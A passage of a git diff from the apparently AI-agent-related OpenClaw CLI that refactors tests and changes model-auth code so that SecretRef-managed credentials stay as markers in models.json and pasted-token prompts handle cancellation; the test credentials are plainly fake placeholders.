a/src/commands/gateway-status/helpers.test.ts +++ b/src/commands/gateway-status/helpers.test.ts @@ -180,7 +180,7 @@ describe("resolveAuthForTarget", () => { }, remote: { token: "remote-token", - password: "remote-password", + password: "remote-password", // pragma: allowlist secret }, }, }, diff --git a/src/commands/message.test.ts b/src/commands/message.test.ts index 658eb9fd614..5178b09f895 100644 --- a/src/commands/message.test.ts +++ b/src/commands/message.test.ts @@ -186,26 +186,94 @@ const createTelegramPollPluginRegistration = () => ({ const { messageCommand } = await import("./message.js"); +function createTelegramSecretRawConfig() { + return { + channels: { + telegram: { + token: { $secret: "vault://telegram/token" }, // pragma: allowlist secret + }, + }, + }; +} + +function createTelegramResolvedTokenConfig(token: string) { + return { + channels: { + telegram: { + token, + }, + }, + }; +} + +function mockResolvedCommandConfig(params: { + rawConfig: Record; + resolvedConfig: Record; + diagnostics?: string[]; +}) { + testConfig = params.rawConfig; + resolveCommandSecretRefsViaGateway.mockResolvedValueOnce({ + resolvedConfig: params.resolvedConfig, + diagnostics: params.diagnostics ?? ["resolved channels.telegram.token"], + }); +} + +async function runTelegramDirectOutboundSend(params: { + rawConfig: Record; + resolvedConfig: Record; + diagnostics?: string[]; +}) { + mockResolvedCommandConfig(params); + const sendText = vi.fn(async (_ctx: { cfg?: unknown; to?: string; text?: string }) => ({ + channel: "telegram" as const, + messageId: "msg-1", + chatId: "123456", + })); + const sendMedia = vi.fn(async (_ctx: { cfg?: unknown }) => ({ + channel: "telegram" as const, + messageId: "msg-2", + chatId: "123456", + })); + await setRegistry( + createTestRegistry([ + { + pluginId: "telegram", + source: "test", + plugin: createStubPlugin({ + id: "telegram", + label: "Telegram", + outbound: { + deliveryMode: "direct", + sendText, + sendMedia, + }, + }), + }, + ]), + ); + + const deps = makeDeps(); + await messageCommand( + { + action: "send", + channel: "telegram", + target: "123456", + message: "hi", + }, + deps, + runtime, + ); + + return { sendText }; +} + describe("messageCommand", () => { it("threads resolved SecretRef config into outbound send actions", async () => { - const rawConfig = { - channels: { - telegram: { - token: { $secret: "vault://telegram/token" }, - }, - }, - }; - const resolvedConfig = { - channels: { - telegram: { - token: "12345:resolved-token", - }, - }, - }; - testConfig = rawConfig; - resolveCommandSecretRefsViaGateway.mockResolvedValueOnce({ + const rawConfig = createTelegramSecretRawConfig(); + const resolvedConfig = createTelegramResolvedTokenConfig("12345:resolved-token"); + mockResolvedCommandConfig({ + rawConfig: rawConfig as unknown as Record, resolvedConfig: resolvedConfig as unknown as Record, - diagnostics: ["resolved channels.telegram.token"], }); await setRegistry( createTestRegistry([ @@ -240,64 +308,12 @@ describe("messageCommand", () => { }); it("threads resolved SecretRef config into outbound adapter sends", async () => { - const rawConfig = { - channels: { - telegram: { - token: { $secret: "vault://telegram/token" }, - }, - }, - }; - const resolvedConfig = { - channels: { - telegram: { - token: "12345:resolved-token", - }, - }, - }; - testConfig = rawConfig; - resolveCommandSecretRefsViaGateway.mockResolvedValueOnce({ + const rawConfig = createTelegramSecretRawConfig(); + const resolvedConfig = createTelegramResolvedTokenConfig("12345:resolved-token"); + const { sendText } = await runTelegramDirectOutboundSend({ + rawConfig: rawConfig as unknown as Record, resolvedConfig: resolvedConfig as unknown as Record, - diagnostics: ["resolved channels.telegram.token"], }); - const sendText = vi.fn(async (_ctx: { cfg?: unknown; to: string; text: string }) => ({ - channel: "telegram" as const, - messageId: "msg-1", - chatId: "123456", - })); - const sendMedia = vi.fn(async (_ctx: { cfg?: unknown }) => ({ - channel: "telegram" as const, - messageId: "msg-2", - chatId: "123456", - })); - await setRegistry( - createTestRegistry([ - { - pluginId: "telegram", - source: "test", - plugin: createStubPlugin({ - id: "telegram", - label: "Telegram", - outbound: { - deliveryMode: "direct", - sendText, - sendMedia, - }, - }), - }, - ]), - ); - - const deps = makeDeps(); - await messageCommand( - { - action: "send", - channel: "telegram", - target: "123456", - message: "hi", - }, - deps, - runtime, - ); expect(sendText).toHaveBeenCalledWith( expect.objectContaining({ @@ -324,50 +340,11 @@ describe("messageCommand", () => { }, }, }; - testConfig = rawConfig; - resolveCommandSecretRefsViaGateway.mockResolvedValueOnce({ + const { sendText } = await runTelegramDirectOutboundSend({ + rawConfig: rawConfig as unknown as Record, resolvedConfig: locallyResolvedConfig as unknown as Record, diagnostics: ["gateway secrets.resolve unavailable; used local resolver fallback."], }); - const sendText = vi.fn(async (_ctx: { cfg?: unknown }) => ({ - channel: "telegram" as const, - messageId: "msg-3", - chatId: "123456", - })); - const sendMedia = vi.fn(async (_ctx: { cfg?: unknown }) => ({ - channel: "telegram" as const, - messageId: "msg-4", - chatId: "123456", - })); - await setRegistry( - createTestRegistry([ - { - pluginId: "telegram", - source: "test", - plugin: createStubPlugin({ - id: "telegram", - label: "Telegram", - outbound: { - deliveryMode: "direct", - sendText, - sendMedia, - }, - }), - }, - ]), - ); - - const deps = makeDeps(); - await messageCommand( - { - action: "send", - channel: "telegram", - target: "123456", - message: "hi", - }, - deps, - runtime, - ); expect(sendText).toHaveBeenCalledWith( expect.objectContaining({ diff --git a/src/commands/model-picker.test.ts b/src/commands/model-picker.test.ts index 76ced67ba15..5cf0fd57547 100644 --- a/src/commands/model-picker.test.ts +++ b/src/commands/model-picker.test.ts @@ -102,7 +102,7 @@ describe("promptDefaultModel", () => { expect(result.config?.models?.providers?.vllm).toMatchObject({ baseUrl: "http://127.0.0.1:8000/v1", api: "openai-completions", - apiKey: "VLLM_API_KEY", + apiKey: "VLLM_API_KEY", // pragma: allowlist secret models: [ { id: "meta-llama/Meta-Llama-3-8B-Instruct", name: "meta-llama/Meta-Llama-3-8B-Instruct" }, ], diff --git a/src/commands/models.list.e2e.test.ts b/src/commands/models.list.e2e.test.ts index 1469effeff1..53a112d0451 100644 --- a/src/commands/models.list.e2e.test.ts +++ b/src/commands/models.list.e2e.test.ts @@ -5,6 +5,11 @@ let loadModelRegistry: typeof import("./models/list.registry.js").loadModelRegis let toModelRow: typeof import("./models/list.registry.js").toModelRow; const loadConfig = vi.fn(); +const readConfigFileSnapshotForWrite = vi.fn().mockResolvedValue({ + snapshot: { valid: false, resolved: {} }, + writeOptions: {}, +}); +const setRuntimeConfigSnapshot = vi.fn(); const ensureOpenClawModelsJson = vi.fn().mockResolvedValue(undefined); const resolveOpenClawAgentDir = vi.fn().mockReturnValue("/tmp/openclaw-agent"); const ensureAuthProfileStore = vi.fn().mockReturnValue({ version: 1, profiles: {} }); @@ -29,6 +34,8 @@ vi.mock("../config/config.js", () => ({ CONFIG_PATH: "/tmp/openclaw.json", STATE_DIR: "/tmp/openclaw-state", loadConfig, + readConfigFileSnapshotForWrite, + setRuntimeConfigSnapshot, })); vi.mock("../agents/models-config.js", () => ({ @@ -84,8 +91,16 @@ vi.mock("../agents/pi-model-discovery.js", () => { }); vi.mock("../agents/pi-embedded-runner/model.js", () => ({ - resolveModel: () => { - throw new Error("resolveModel should not be called from models.list tests"); + resolveModelWithRegistry: ({ + provider, + modelId, + modelRegistry, + }: { + provider: string; + modelId: string; + modelRegistry: { find: (provider: string, id: string) => unknown }; + }) => { + return modelRegistry.find(provider, modelId); }, })); @@ -114,6 +129,13 @@ beforeEach(() => { modelRegistryState.getAllError = undefined; modelRegistryState.getAvailableError = undefined; listProfilesForProvider.mockReturnValue([]); + ensureOpenClawModelsJson.mockClear(); + readConfigFileSnapshotForWrite.mockClear(); + readConfigFileSnapshotForWrite.mockResolvedValue({ + snapshot: { valid: false, resolved: {} }, + writeOptions: {}, + }); + setRuntimeConfigSnapshot.mockClear(); }); afterEach(() => { @@ -302,6 +324,35 @@ describe("models list/status", () => { await expect(loadModelRegistry({})).rejects.toThrow("model discovery unavailable"); }); + it("loadModelRegistry persists using source config snapshot when provided", async () => { + modelRegistryState.models = [OPENAI_MODEL]; + modelRegistryState.available = [OPENAI_MODEL]; + const sourceConfig = { + models: { providers: { openai: { apiKey: "$OPENAI_API_KEY" } } }, // pragma: allowlist secret + }; + const resolvedConfig = { + models: { providers: { openai: { apiKey: "sk-resolved-runtime-value" } } }, // pragma: allowlist secret + }; + + await loadModelRegistry(resolvedConfig as never, { sourceConfig: sourceConfig as never }); + + expect(ensureOpenClawModelsJson).toHaveBeenCalledTimes(1); + expect(ensureOpenClawModelsJson).toHaveBeenCalledWith(sourceConfig); + }); + + it("loadModelRegistry uses resolved config when no source snapshot is provided", async () => { + modelRegistryState.models = [OPENAI_MODEL]; + modelRegistryState.available = [OPENAI_MODEL]; + const resolvedConfig = { + models: { providers: { openai: { apiKey: "sk-resolved-runtime-value" } } }, // pragma: allowlist secret + }; + + await loadModelRegistry(resolvedConfig as never); + + expect(ensureOpenClawModelsJson).toHaveBeenCalledTimes(1); + expect(ensureOpenClawModelsJson).toHaveBeenCalledWith(resolvedConfig); + }); + it("toModelRow does not crash without cfg/authStore when availability is undefined", async () => { const row = toModelRow({ model: makeGoogleAntigravityTemplate( diff --git a/src/commands/models/auth.test.ts b/src/commands/models/auth.test.ts index c05c1480096..d5e383d775e 100644 --- a/src/commands/models/auth.test.ts +++ b/src/commands/models/auth.test.ts @@ -3,10 +3,16 @@ import type { OpenClawConfig } from "../../config/config.js"; import type { RuntimeEnv } from "../../runtime.js"; const mocks = vi.hoisted(() => ({ + clackCancel: vi.fn(), + clackConfirm: vi.fn(), + clackIsCancel: vi.fn((value: unknown) => value === Symbol.for("clack:cancel")), + clackSelect: vi.fn(), + clackText: vi.fn(), resolveDefaultAgentId: vi.fn(), resolveAgentDir: vi.fn(), resolveAgentWorkspaceDir: vi.fn(), resolveDefaultAgentWorkspaceDir: vi.fn(), + upsertAuthProfile: vi.fn(), resolvePluginProviders: vi.fn(), createClackPrompter: vi.fn(), loginOpenAICodexOAuth: vi.fn(), @@ -17,6 +23,14 @@ const mocks = vi.hoisted(() => ({ openUrl: vi.fn(), })); +vi.mock("@clack/prompts", () => ({ + cancel: mocks.clackCancel, + confirm: mocks.clackConfirm, + isCancel: mocks.clackIsCancel, + select: mocks.clackSelect, + text: mocks.clackText, +})); + vi.mock("../../agents/agent-scope.js", () => ({ resolveDefaultAgentId: mocks.resolveDefaultAgentId, resolveAgentDir: mocks.resolveAgentDir, @@ -27,6 +41,10 @@ vi.mock("../../agents/workspace.js", () => ({ resolveDefaultAgentWorkspaceDir: mocks.resolveDefaultAgentWorkspaceDir, })); +vi.mock("../../agents/auth-profiles.js", () => ({ + upsertAuthProfile: mocks.upsertAuthProfile, +})); + vi.mock("../../plugins/providers.js", () => ({ resolvePluginProviders: mocks.resolvePluginProviders, })); @@ -64,7 +82,7 @@ vi.mock("../onboard-helpers.js", () => ({ openUrl: mocks.openUrl, })); -const { modelsAuthLoginCommand } = await import("./auth.js"); +const { modelsAuthLoginCommand, modelsAuthPasteTokenCommand } = await import("./auth.js"); function createRuntime(): RuntimeEnv { return { @@ -102,6 +120,14 @@ describe("modelsAuthLoginCommand", () => { restoreStdin = withInteractiveStdin(); currentConfig = {}; lastUpdatedConfig = null; + mocks.clackCancel.mockReset(); + mocks.clackConfirm.mockReset(); + mocks.clackIsCancel.mockImplementation( + (value: unknown) => value === Symbol.for("clack:cancel"), + ); + mocks.clackSelect.mockReset(); + mocks.clackText.mockReset(); + mocks.upsertAuthProfile.mockReset(); mocks.resolveDefaultAgentId.mockReturnValue("main"); mocks.resolveAgentDir.mockReturnValue("/tmp/openclaw/agents/main"); @@ -179,4 +205,28 @@ describe("modelsAuthLoginCommand", () => { "No provider plugins found.", ); }); + + it("does not persist a cancelled manual token entry", async () => { + const runtime = createRuntime(); + const exitSpy = vi.spyOn(process, "exit").mockImplementation((( + code?: string | number | null, + ) => { + throw new Error(`exit:${String(code ?? "")}`); + }) as typeof process.exit); + try { + const cancelSymbol = Symbol.for("clack:cancel"); + mocks.clackText.mockResolvedValue(cancelSymbol); + mocks.clackIsCancel.mockImplementation((value: unknown) => value === cancelSymbol); + + await expect(modelsAuthPasteTokenCommand({ provider: "openai" }, runtime)).rejects.toThrow( + "exit:0", + ); + + expect(mocks.upsertAuthProfile).not.toHaveBeenCalled(); + expect(mocks.updateConfig).not.toHaveBeenCalled(); + expect(mocks.logConfigUpdated).not.toHaveBeenCalled(); + } finally { + exitSpy.mockRestore(); + } + }); }); diff --git a/src/commands/models/auth.ts b/src/commands/models/auth.ts index 16fda7985e6..56946d590a7 100644 --- a/src/commands/models/auth.ts +++ b/src/commands/models/auth.ts @@ -1,4 +1,10 @@ -import { confirm as clackConfirm, select as clackSelect, text as clackText } from "@clack/prompts"; +import { + cancel, + confirm as clackConfirm, + isCancel, + select as clackSelect, + text as clackText, +} from "@clack/prompts"; import { resolveAgentDir, resolveAgentWorkspaceDir, @@ -34,24 +40,38 @@ import { } from "../provider-auth-helpers.js"; import { loadValidConfigOrThrow, updateConfig } from "./shared.js"; -const confirm = (params: Parameters[0]) => - clackConfirm({ - ...params, - message: stylePromptMessage(params.message), - }); -const text = (params: Parameters[0]) => - clackText({ - ...params, - message: stylePromptMessage(params.message), - }); -const select = (params: Parameters>[0]) => - clackSelect({ - ...params, - message: stylePromptMessage(params.message), - options: params.options.map((opt) => - opt.hint === undefined ? opt : { ...opt, hint: stylePromptHint(opt.hint) }, - ), - }); +function guardCancel(value: T | symbol): T { + if (typeof value === "symbol" || isCancel(value)) { + cancel("Cancelled."); + process.exit(0); + } + return value; +} + +const confirm = async (params: Parameters[0]) => + guardCancel( + await clackConfirm({ + ...params, + message: stylePromptMessage(params.message), + }), + ); +const text = async (params: Parameters[0]) => + guardCancel( + await clackText({ + ...params, + message: stylePromptMessage(params.message), + }), + ); +const select = async (params: Parameters>[0]) => + guardCancel( + await clackSelect({ + ...params, + message: stylePromptMessage(params.message), + options: params.options.map((opt) => + opt.hint === undefined ? opt : { ...opt, hint: stylePromptHint(opt.hint) }, + ), + }), + ); type TokenProvider = "anthropic"; @@ -165,13 +185,13 @@ export async function modelsAuthPasteTokenCommand( } export async function modelsAuthAddCommand(_opts: Record, runtime: RuntimeEnv) { - const provider = (await select({ + const provider = await select({ message: "Token provider", options: [ { value: "anthropic", label: "anthropic" }, { value: "custom", label: "custom (type provider id)" }, ], - })) as TokenProvider | "custom"; + }); const providerId = provider === "custom" diff --git a/src/commands/models/list.auth-overview.test.ts b/src/commands/models/list.auth-overview.test.ts index bc23ff9351c..98906ced281 100644 --- a/src/commands/models/list.auth-overview.test.ts +++ b/src/commands/models/list.auth-overview.test.ts @@ -1,4 +1,5 @@ import { describe, expect, it } from "vitest"; +import { NON_ENV_SECRETREF_MARKER } from "../../agents/model-auth-markers.js"; import { resolveProviderAuthOverview } from "./list.auth-overview.js"; describe("resolveProviderAuthOverview", () => { @@ -21,4 +22,52 @@ describe("resolveProviderAuthOverview", () => { expect(overview.profiles.labels[0]).toContain("token:ref(env:GITHUB_TOKEN)"); }); + + it("renders marker-backed models.json auth as marker detail", () => { + const overview = resolveProviderAuthOverview({ + provider: "openai", + cfg: { + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + api: "openai-completions", + apiKey: NON_ENV_SECRETREF_MARKER, + models: [], + }, + }, + }, + } as never, + store: { version: 1, profiles: {} } as never, + modelsPath: "/tmp/models.json", + }); + + expect(overview.effective.kind).toBe("models.json"); + expect(overview.effective.detail).toContain(`marker(${NON_ENV_SECRETREF_MARKER})`); + expect(overview.modelsJson?.value).toContain(`marker(${NON_ENV_SECRETREF_MARKER})`); + }); + + it("keeps env-var-shaped models.json values masked to avoid accidental plaintext exposure", () => { + const overview = resolveProviderAuthOverview({ + provider: "openai", + cfg: { + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + api: "openai-completions", + apiKey: "OPENAI_API_KEY", // pragma: allowlist secret + models: [], + }, + }, + }, + } as never, + store: { version: 1, profiles: {} } as never, + modelsPath: "/tmp/models.json", + }); + + expect(overview.effective.kind).toBe("models.json"); + expect(overview.effective.detail).not.toContain("marker("); + expect(overview.effective.detail).not.toContain("OPENAI_API_KEY"); + }); }); diff --git a/src/commands/models/list.auth-overview.ts b/src/commands/models/list.auth-overview.ts index 0fc2f9828c5..28880415eeb 100644 --- a/src/commands/models/list.auth-overview.ts +++ b/src/commands/models/list.auth-overview.ts @@ -6,12 +6,19 @@ import { resolveAuthStorePathForDisplay, resolveProfileUnusableUntilForDisplay, } from "../../agents/auth-profiles.js"; +import { isNonSecretApiKeyMarker } from "../../agents/model-auth-markers.js"; import { getCustomProviderApiKey, resolveEnvApiKey } from "../../agents/model-auth.js"; import type { OpenClawConfig } from "../../config/config.js"; import { shortenHomePath } from "../../utils.js"; import { maskApiKey } from "./list.format.js"; import type { ProviderAuthOverview } from "./list.types.js"; +function formatMarkerOrSecret(value: string): string { + return isNonSecretApiKeyMarker(value, { includeEnvVarName: false }) + ? `marker(${value.trim()})` + : maskApiKey(value); +} + function formatProfileSecretLabel(params: { value: string | undefined; ref: { source: string; id: string } | undefined; @@ -19,7 +26,8 @@ function formatProfileSecretLabel(params: { }): string { const value = typeof params.value === "string" ? params.value.trim() : ""; if (value) { - return params.kind === "token" ? `token:${maskApiKey(value)}` : maskApiKey(value); + const display = formatMarkerOrSecret(value); + return params.kind === "token" ? `token:${display}` : display; } if (params.ref) { const refLabel = `ref(${params.ref.source}:${params.ref.id})`; @@ -108,7 +116,7 @@ export function resolveProviderAuthOverview(params: { }; } if (customKey) { - return { kind: "models.json", detail: maskApiKey(customKey) }; + return { kind: "models.json", detail: formatMarkerOrSecret(customKey) }; } return { kind: "missing", detail: "missing" }; })(); @@ -137,7 +145,7 @@ export function resolveProviderAuthOverview(params: { ...(customKey ? { modelsJson: { - value: maskApiKey(customKey), + value: formatMarkerOrSecret(customKey), source: `models.json: ${shortenHomePath(params.modelsPath)}`, }, } diff --git a/src/commands/models/list.list-command.forward-compat.test.ts b/src/commands/models/list.list-command.forward-compat.test.ts index 2b2e8612782..4cef137d88a 100644 --- a/src/commands/models/list.list-command.forward-compat.test.ts +++ b/src/commands/models/list.list-command.forward-compat.test.ts @@ -2,11 +2,38 @@ import { describe, expect, it, vi } from "vitest"; const mocks = vi.hoisted(() => { const printModelTable = vi.fn(); + const sourceConfig = { + agents: { defaults: { model: { primary: "openai-codex/gpt-5.4" } } }, + models: { + providers: { + openai: { + apiKey: "$OPENAI_API_KEY", // pragma: allowlist secret + }, + }, + }, + }; + const resolvedConfig = { + agents: { defaults: { model: { primary: "openai-codex/gpt-5.4" } } }, + models: { + providers: { + openai: { + apiKey: "sk-resolved-runtime-value", // pragma: allowlist secret + }, + }, + }, + }; return { loadConfig: vi.fn().mockReturnValue({ agents: { defaults: { model: { primary: "openai-codex/gpt-5.4" } } }, models: { providers: {} }, }), + sourceConfig, + resolvedConfig, + loadModelsConfigWithSource: vi.fn().mockResolvedValue({ + sourceConfig, + resolvedConfig, + diagnostics: [], + }), ensureAuthProfileStore: vi.fn().mockReturnValue({ version: 1, profiles: {}, order: {} }), loadModelRegistry: vi .fn() @@ -58,6 +85,10 @@ vi.mock("./list.registry.js", async (importOriginal) => { }; }); +vi.mock("./load-config.js", () => ({ + loadModelsConfigWithSource: mocks.loadModelsConfigWithSource, +})); + vi.mock("./list.configured.js", () => ({ resolveConfiguredEntries: mocks.resolveConfiguredEntries, })); @@ -95,6 +126,16 @@ describe("modelsListCommand forward-compat", () => { expect(codex?.tags).not.toContain("missing"); }); + it("passes source config to model registry loading for persistence safety", async () => { + const runtime = { log: vi.fn(), error: vi.fn() }; + + await modelsListCommand({ json: true }, runtime as never); + + expect(mocks.loadModelRegistry).toHaveBeenCalledWith(mocks.resolvedConfig, { + sourceConfig: mocks.sourceConfig, + }); + }); + it("keeps configured local openai gpt-5.4 entries visible in --local output", async () => { mocks.resolveConfiguredEntries.mockReturnValueOnce({ entries: [ diff --git a/src/commands/models/list.list-command.ts b/src/commands/models/list.list-command.ts index 7e706469cea..afcd7b785d2 100644 --- a/src/commands/models/list.list-command.ts +++ b/src/commands/models/list.list-command.ts @@ -8,7 +8,7 @@ import { formatErrorWithStack } from "./list.errors.js"; import { loadModelRegistry, toModelRow } from "./list.registry.js"; import { printModelTable } from "./list.table.js"; import type { ModelRow } from "./list.types.js"; -import { loadModelsConfig } from "./load-config.js"; +import { loadModelsConfigWithSource } from "./load-config.js"; import { DEFAULT_PROVIDER, ensureFlagCompatibility, isLocalBaseUrl, modelKey } from "./shared.js"; export async function modelsListCommand( @@ -23,7 +23,10 @@ export async function modelsListCommand( ) { ensureFlagCompatibility(opts); const { ensureAuthProfileStore } = await import("../../agents/auth-profiles.js"); - const cfg = await loadModelsConfig({ commandName: "models list", runtime }); + const { sourceConfig, resolvedConfig: cfg } = await loadModelsConfigWithSource({ + commandName: "models list", + runtime, + }); const authStore = ensureAuthProfileStore(); const providerFilter = (() => { const raw = opts.provider?.trim(); @@ -39,7 +42,7 @@ export async function modelsListCommand( let availableKeys: Set | undefined; let availabilityErrorMessage: string | undefined; try { - const loaded = await loadModelRegistry(cfg); + const loaded = await loadModelRegistry(cfg, { sourceConfig }); modelRegistry = loaded.registry; models = loaded.models; availableKeys = loaded.availableKeys; diff --git a/src/commands/models/list.probe.targets.test.ts b/src/commands/models/list.probe.targets.test.ts index c3e754199a2..c60352d7c42 100644 --- a/src/commands/models/list.probe.targets.test.ts +++ b/src/commands/models/list.probe.targets.test.ts @@ -1,5 +1,6 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; import type { AuthProfileStore } from "../../agents/auth-profiles.js"; +import { OLLAMA_LOCAL_AUTH_MARKER } from "../../agents/model-auth-markers.js"; import type { OpenClawConfig } from "../../config/config.js"; let mockStore: AuthProfileStore; @@ -39,6 +40,79 @@ vi.mock("../../agents/auth-profiles.js", async (importOriginal) => { const { buildProbeTargets } = await import("./list.probe.js"); +async function buildAnthropicProbePlan(order: string[]) { + return buildProbeTargets({ + cfg: { + auth: { + order: { + anthropic: order, + }, + }, + } as OpenClawConfig, + providers: ["anthropic"], + modelCandidates: ["anthropic/claude-sonnet-4-6"], + options: { + timeoutMs: 5_000, + concurrency: 1, + maxTokens: 16, + }, + }); +} + +async function withClearedAnthropicEnv(fn: () => Promise): Promise { + const previousAnthropic = process.env.ANTHROPIC_API_KEY; + const previousAnthropicOauth = process.env.ANTHROPIC_OAUTH_TOKEN; + delete process.env.ANTHROPIC_API_KEY; + delete process.env.ANTHROPIC_OAUTH_TOKEN; + try { + return await fn(); + } finally { + if (previousAnthropic === undefined) { + delete process.env.ANTHROPIC_API_KEY; + } else { + process.env.ANTHROPIC_API_KEY = previousAnthropic; + } + if (previousAnthropicOauth === undefined) { + delete process.env.ANTHROPIC_OAUTH_TOKEN; + } else { + process.env.ANTHROPIC_OAUTH_TOKEN = previousAnthropicOauth; + } + } +} + +async function buildAnthropicPlanFromModelsJsonApiKey(apiKey: string) { + return await buildProbeTargets({ + cfg: { + models: { + providers: { + anthropic: { + baseUrl: "https://api.anthropic.com/v1", + api: "anthropic-messages", + apiKey, + models: [], + }, + }, + }, + } as OpenClawConfig, + providers: ["anthropic"], + modelCandidates: ["anthropic/claude-sonnet-4-6"], + options: { + timeoutMs: 5_000, + concurrency: 1, + maxTokens: 16, + }, + }); +} + +function expectLegacyMissingCredentialsError( + result: { reasonCode?: string; error?: string } | undefined, + reasonCode: string, +) { + expect(result?.reasonCode).toBe(reasonCode); + expect(result?.error?.split("\n")[0]).toBe("Auth profile credentials are missing or expired."); + expect(result?.error).toContain(`[${reasonCode}]`); +} + describe("buildProbeTargets reason codes", () => { beforeEach(() => { mockStore = { @@ -67,52 +141,18 @@ describe("buildProbeTargets reason codes", () => { }); it("reports invalid_expires with a legacy-compatible first error line", async () => { - const plan = await buildProbeTargets({ - cfg: { - auth: { - order: { - anthropic: ["anthropic:default"], - }, - }, - } as OpenClawConfig, - providers: ["anthropic"], - modelCandidates: ["anthropic/claude-sonnet-4-6"], - options: { - timeoutMs: 5_000, - concurrency: 1, - maxTokens: 16, - }, - }); + const plan = await buildAnthropicProbePlan(["anthropic:default"]); expect(plan.targets).toHaveLength(0); expect(plan.results).toHaveLength(1); - expect(plan.results[0]?.reasonCode).toBe("invalid_expires"); - expect(plan.results[0]?.error?.split("\n")[0]).toBe( - "Auth profile credentials are missing or expired.", - ); - expect(plan.results[0]?.error).toContain("[invalid_expires]"); + expectLegacyMissingCredentialsError(plan.results[0], "invalid_expires"); }); it("reports excluded_by_auth_order when profile id is not present in explicit order", async () => { mockStore.order = { anthropic: ["anthropic:work"], }; - const plan = await buildProbeTargets({ - cfg: { - auth: { - order: { - anthropic: ["anthropic:work"], - }, - }, - } as OpenClawConfig, - providers: ["anthropic"], - modelCandidates: ["anthropic/claude-sonnet-4-6"], - options: { - timeoutMs: 5_000, - concurrency: 1, - maxTokens: 16, - }, - }); + const plan = await buildAnthropicProbePlan(["anthropic:work"]); expect(plan.targets).toHaveLength(0); expect(plan.results).toHaveLength(1); @@ -137,30 +177,44 @@ describe("buildProbeTargets reason codes", () => { mockAllowedProfiles = ["anthropic:default"]; resolveSecretRefStringMock.mockRejectedValueOnce(new Error("missing secret")); - const plan = await buildProbeTargets({ - cfg: { - auth: { - order: { - anthropic: ["anthropic:default"], - }, - }, - } as OpenClawConfig, - providers: ["anthropic"], - modelCandidates: ["anthropic/claude-sonnet-4-6"], - options: { - timeoutMs: 5_000, - concurrency: 1, - maxTokens: 16, - }, - }); + const plan = await buildAnthropicProbePlan(["anthropic:default"]); expect(plan.targets).toHaveLength(0); expect(plan.results).toHaveLength(1); - expect(plan.results[0]?.reasonCode).toBe("unresolved_ref"); - expect(plan.results[0]?.error?.split("\n")[0]).toBe( - "Auth profile credentials are missing or expired.", - ); - expect(plan.results[0]?.error).toContain("[unresolved_ref]"); + expectLegacyMissingCredentialsError(plan.results[0], "unresolved_ref"); expect(plan.results[0]?.error).toContain("env:default:MISSING_ANTHROPIC_TOKEN"); }); + + it("skips marker-only models.json credentials when building probe targets", async () => { + mockStore = { + version: 1, + profiles: {}, + order: {}, + }; + await withClearedAnthropicEnv(async () => { + const plan = await buildAnthropicPlanFromModelsJsonApiKey(OLLAMA_LOCAL_AUTH_MARKER); + expect(plan.targets).toEqual([]); + expect(plan.results).toEqual([]); + }); + }); + + it("does not treat arbitrary all-caps models.json apiKey values as markers", async () => { + mockStore = { + version: 1, + profiles: {}, + order: {}, + }; + await withClearedAnthropicEnv(async () => { + const plan = await buildAnthropicPlanFromModelsJsonApiKey("ALLCAPS_SAMPLE"); + expect(plan.results).toEqual([]); + expect(plan.targets).toHaveLength(1); + expect(plan.targets[0]).toEqual( + expect.objectContaining({ + provider: "anthropic", + source: "models.json", + label: "models.json", + }), + ); + }); + }); }); diff --git a/src/commands/models/list.probe.test.ts b/src/commands/models/list.probe.test.ts index 55c5ef064f3..70ffde1dd65 100644 --- a/src/commands/models/list.probe.test.ts +++ b/src/commands/models/list.probe.test.ts @@ -9,6 +9,7 @@ describe("mapFailoverReasonToProbeStatus", () => { it("keeps existing failover reason mappings", () => { expect(mapFailoverReasonToProbeStatus("auth")).toBe("auth"); expect(mapFailoverReasonToProbeStatus("rate_limit")).toBe("rate_limit"); + expect(mapFailoverReasonToProbeStatus("overloaded")).toBe("rate_limit"); expect(mapFailoverReasonToProbeStatus("billing")).toBe("billing"); expect(mapFailoverReasonToProbeStatus("timeout")).toBe("timeout"); expect(mapFailoverReasonToProbeStatus("format")).toBe("format"); diff --git a/src/commands/models/list.probe.ts b/src/commands/models/list.probe.ts index 433c005077d..40eb6b99b9b 100644 --- a/src/commands/models/list.probe.ts +++ b/src/commands/models/list.probe.ts @@ -12,6 +12,7 @@ import { resolveAuthProfileOrder, } from "../../agents/auth-profiles.js"; import { describeFailoverError } from "../../agents/failover-error.js"; +import { isNonSecretApiKeyMarker } from "../../agents/model-auth-markers.js"; import { getCustomProviderApiKey, resolveEnvApiKey } from "../../agents/model-auth.js"; import { loadModelCatalog } from "../../agents/model-catalog.js"; import { @@ -106,7 +107,7 @@ export function mapFailoverReasonToProbeStatus(reason?: string | null): AuthProb // surface in the auth bucket instead of showing as unknown. return "auth"; } - if (reason === "rate_limit") { + if (reason === "rate_limit" || reason === "overloaded") { return "rate_limit"; } if (reason === "billing") { @@ -373,7 +374,8 @@ export async function buildProbeTargets(params: { const envKey = resolveEnvApiKey(providerKey); const customKey = getCustomProviderApiKey(cfg, providerKey); - if (!envKey && !customKey) { + const hasUsableModelsJsonKey = Boolean(customKey && !isNonSecretApiKeyMarker(customKey)); + if (!envKey && !hasUsableModelsJsonKey) { continue; } diff --git a/src/commands/models/list.registry.ts b/src/commands/models/list.registry.ts index a4fd2cdf0f5..187b55176f5 100644 --- a/src/commands/models/list.registry.ts +++ b/src/commands/models/list.registry.ts @@ -94,8 +94,13 @@ function loadAvailableModels(registry: ModelRegistry): Model[] { } } -export async function loadModelRegistry(cfg: OpenClawConfig) { - await ensureOpenClawModelsJson(cfg); +export async function loadModelRegistry( + cfg: OpenClawConfig, + opts?: { sourceConfig?: OpenClawConfig }, +) { + // Persistence must be based on source config (pre-resolution) so SecretRef-managed + // credentials remain markers in models.json for command paths too. + await ensureOpenClawModelsJson(opts?.sourceConfig ?? cfg); const agentDir = resolveOpenClawAgentDir(); const authStorage = discoverAuthStorage(agentDir); const registry = discoverModels(authStorage, agentDir); diff --git a/src/commands/models/list.status.test.ts b/src/commands/models/list.status.test.ts index a2563b09f08..7a792ac042d 100644 --- a/src/commands/models/list.status.test.ts +++ b/src/commands/models/list.status.test.ts @@ -9,14 +9,14 @@ const mocks = vi.hoisted(() => { type: "oauth", provider: "anthropic", access: "sk-ant-oat01-ACCESS-TOKEN-1234567890", - refresh: "sk-ant-ort01-REFRESH-TOKEN-1234567890", + refresh: "sk-ant-ort01-REFRESH-TOKEN-1234567890", // pragma: allowlist secret expires: Date.now() + 60_000, email: "peter@example.com", 